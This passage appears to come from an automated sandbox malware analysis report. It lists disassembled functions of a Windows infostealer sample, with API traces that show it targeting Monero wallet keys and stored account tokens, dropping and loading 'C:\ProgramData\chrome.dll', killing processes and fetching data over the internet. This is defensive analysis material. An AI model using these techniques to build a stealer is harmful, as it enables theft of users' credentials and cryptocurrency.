                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                      • lstrlen.KERNEL32(00000000), ref: 005FBC6F
                                        • Part of subcall function 00608FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608FE2
                                      • StrStrA.SHLWAPI(00000000,AccountId), ref: 005FBC9D
                                      • lstrlen.KERNEL32(00000000), ref: 005FBD75
                                      • lstrlen.KERNEL32(00000000), ref: 005FBD89
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
                                      • String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
                                      • API String ID: 3073930149-1079375795
                                      • Opcode ID: ee1b4ca471849518abd659e2cf30caa7073d7f5d54a38474745178585c3dd50b
                                      • Instruction ID: 870084c7f495514a678cf0b5b9cd923077beb923e811a597449a1995cacff43c
                                      • Opcode Fuzzy Hash: ee1b4ca471849518abd659e2cf30caa7073d7f5d54a38474745178585c3dd50b
                                      • Instruction Fuzzy Hash: 42B11B729502089BDB48FBE0CCA6EEF773AAF54340F40456CF506A61D1EF346A48CB66
                                      Function 00606A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ExitProcess$DefaultLangUser
                                      • String ID: *
                                      • API String ID: 1494266314-163128923
                                      • Opcode ID: e53b9997078ff7096ac17da81512c08a44a4a793392e5ca0c001252b44b692c3
                                      • Instruction ID: cfe9dc60bc0c4727970838aa3e9a47bbb651f1bb747cbb223815051efb64c8c9
                                      • Opcode Fuzzy Hash: e53b9997078ff7096ac17da81512c08a44a4a793392e5ca0c001252b44b692c3
                                      • Instruction Fuzzy Hash: F8F08C30A4C209EFD744AFE2EC09B9CBB30FB04707F15419AF60A962D0CA704A90DFA1
                                      Function 006008A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 00609850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,006008DC,C:\ProgramData\chrome.dll), ref: 00609871
                                        • Part of subcall function 005FA090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 005FA098
                                      • StrCmpCA.SHLWAPI(00000000,00F48978), ref: 00600922
                                      • StrCmpCA.SHLWAPI(00000000,00F489A8), ref: 00600B79
                                      • StrCmpCA.SHLWAPI(00000000,00F489F8), ref: 00600A0C
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                      • DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00600C35
                                      Strings
                                      • C:\ProgramData\chrome.dll, xrefs: 006008CD
                                      • C:\ProgramData\chrome.dll, xrefs: 00600C30
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Filelstrcpy$CreateDeleteLibraryLoad
                                      • String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
                                      • API String ID: 585553867-663540502
                                      • Opcode ID: 63564a0b44874090e2f19a8648fc023bed156457b0f8bf015694d912f9611246
                                      • Instruction ID: 14c01c85e5e8d489d629bb20120790dc9f0e9e385fbc67908888bafb2142426e
                                      • Opcode Fuzzy Hash: 63564a0b44874090e2f19a8648fc023bed156457b0f8bf015694d912f9611246
                                      • Instruction Fuzzy Hash: 71A144717002089FCB1CEFA4D996EAE7777BF95340F50816DE40A5F392DA309A05CB96
                                      Function 005F9E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00608CF0: GetSystemTime.KERNEL32(00610E1B,00F4EF50,006105B6,?,?,005F13F9,?,0000001A,00610E1B,00000000,?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 00608D16
                                      • wsprintfA.USER32 ref: 005F9E7F
                                      • lstrcat.KERNEL32(00000000,?), ref: 005F9F03
                                      • lstrcat.KERNEL32(00000000,?), ref: 005F9F17
                                      • lstrcat.KERNEL32(00000000,006112D8), ref: 005F9F29
                                      • lstrcpy.KERNEL32(?,00000000), ref: 005F9F7C
                                      • Sleep.KERNEL32(00001388), ref: 005FA013
                                        • Part of subcall function 006099A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006099C5
                                        • Part of subcall function 006099A0: Process32First.KERNEL32(005FA056,00000128), ref: 006099D9
                                        • Part of subcall function 006099A0: Process32Next.KERNEL32(005FA056,00000128), ref: 006099F2
                                        • Part of subcall function 006099A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00609A4E
                                        • Part of subcall function 006099A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00609A6C
                                        • Part of subcall function 006099A0: CloseHandle.KERNEL32(00000000), ref: 00609A79
                                        • Part of subcall function 006099A0: CloseHandle.KERNEL32(005FA056), ref: 00609A88
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
                                      • String ID: D
                                      • API String ID: 531068710-2746444292
                                      • Opcode ID: 65d33280da9a6f87145b4bfa8aabea7c3f06b99590ea565c28361fa54cb377a8
                                      • Instruction ID: 36d7f8a59daacbe0cd0e0080ec3fe6c0f0e6ac74711ec170338a7e696505efa8
                                      • Opcode Fuzzy Hash: 65d33280da9a6f87145b4bfa8aabea7c3f06b99590ea565c28361fa54cb377a8
                                      • Instruction Fuzzy Hash: 465197B19443089BEB24DBA0DC4AFDA7779BF44700F044598B60DAB2C1EB75AB84CF55
                                      Function 0066F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                      Download Yara Rule
                                      APIs
                                      • _ValidateLocalCookies.LIBCMT ref: 0066FA1F
                                      • ___except_validate_context_record.LIBVCRUNTIME ref: 0066FA27
                                      • _ValidateLocalCookies.LIBCMT ref: 0066FAB0
                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 0066FADB
                                      • _ValidateLocalCookies.LIBCMT ref: 0066FB30
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                      • String ID: csm
                                      • API String ID: 1170836740-1018135373
                                      • Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                      • Instruction ID: c3dc8f2d6b29dc99f0b705f4499a24737fbefca4cbe4f2ccf2e76b1539df1c8d
                                      • Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
                                      • Instruction Fuzzy Hash: 28418335A00219EBCF10DF68D884ADEBBB6FF49314F14C169E91DAB392D7319905CB91
                                      Function 005F5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005F501A
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005F5021
                                      • InternetOpenA.WININET(00610DE3,00000000,00000000,00000000,00000000), ref: 005F503A
                                      • InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005F5061
                                      • InternetReadFile.WININET(?,?,00000400,00000000), ref: 005F5091
                                      • InternetCloseHandle.WININET(?), ref: 005F5109
                                      • InternetCloseHandle.WININET(?), ref: 005F5116
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
                                      • String ID:
                                      • API String ID: 3066467675-0
                                      • Opcode ID: f98313831bce5db8d1fc0301ec6d65b8409332cdd788c1ac295286143cb771c4
                                      • Instruction ID: 2d9cb0909435f8e83125aa7a004fca973bcc0ad5c506279271a639f199a2f4a7
                                      • Opcode Fuzzy Hash: f98313831bce5db8d1fc0301ec6d65b8409332cdd788c1ac295286143cb771c4
                                      • Instruction Fuzzy Hash: AD3119B4A4421CABDB20CF54DC89BDDB7B4BB48304F1085D9F709A7281DB706AC58F98
                                      Function 0060856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006085B6
                                      • wsprintfA.USER32 ref: 006085E9
                                      • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0060860B
                                      • RegCloseKey.ADVAPI32(00000000), ref: 0060861C
                                      • RegCloseKey.ADVAPI32(00000000), ref: 00608629
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                      • RegQueryValueExA.ADVAPI32(00000000,00F4F110,00000000,000F003F,?,00000400), ref: 0060867C
                                      • lstrlen.KERNEL32(?), ref: 00608691
                                      • RegQueryValueExA.ADVAPI32(00000000,00F4F230,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00610B3C), ref: 00608729
                                      • RegCloseKey.ADVAPI32(00000000), ref: 00608798
                                      • RegCloseKey.ADVAPI32(00000000), ref: 006087AA
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
                                      • String ID: %s\%s
                                      • API String ID: 3896182533-4073750446
                                      • Opcode ID: 65764a2347d54151755186c46f4a6c1506163936ecdb61bfee9422cbfbba4690
                                      • Instruction ID: 31204bbff799daa2fb13cb21715107dba3324805a7e5215e834da3c7664e19dd
                                      • Opcode Fuzzy Hash: 65764a2347d54151755186c46f4a6c1506163936ecdb61bfee9422cbfbba4690
                                      • Instruction Fuzzy Hash: 80212A71A5021CAFDB24DB54DC85FE9B3B9FB48700F0081D8E649A6280DF71AA85CFE4
                                      Function 006099A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006099C5
                                      • Process32First.KERNEL32(005FA056,00000128), ref: 006099D9
                                      • Process32Next.KERNEL32(005FA056,00000128), ref: 006099F2
                                      • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00609A4E
                                      • TerminateProcess.KERNEL32(00000000,00000000), ref: 00609A6C
                                      • CloseHandle.KERNEL32(00000000), ref: 00609A79
                                      • CloseHandle.KERNEL32(005FA056), ref: 00609A88
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                      • String ID:
                                      • API String ID: 2696918072-0
                                      • Opcode ID: 44621d3ff45947d8fbe53639e778b1efe3478defd0c4dc5b899a68e859abe175
                                      • Instruction ID: 5ccc55c0d0fcb2c63ae3639d6f48cb6e4addc2dcb7d5a2b83a399f91dd075831
                                      • Opcode Fuzzy Hash: 44621d3ff45947d8fbe53639e778b1efe3478defd0c4dc5b899a68e859abe175
                                      • Instruction Fuzzy Hash: 1F21EA71A44218EFDB25DFA1DC88BDEB7B6BB48300F1441C8E50AA6290D7749E84CF60
                                      Function 00607820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607834
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 0060783B
                                      • RegOpenKeyExA.ADVAPI32(80000002,00F3BAE0,00000000,00020119,00000000), ref: 0060786D
                                      • RegQueryValueExA.ADVAPI32(00000000,00F4F290,00000000,00000000,?,000000FF), ref: 0060788E
                                      • RegCloseKey.ADVAPI32(00000000), ref: 00607898
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateCloseOpenProcessQueryValue
                                      • String ID: Windows 11
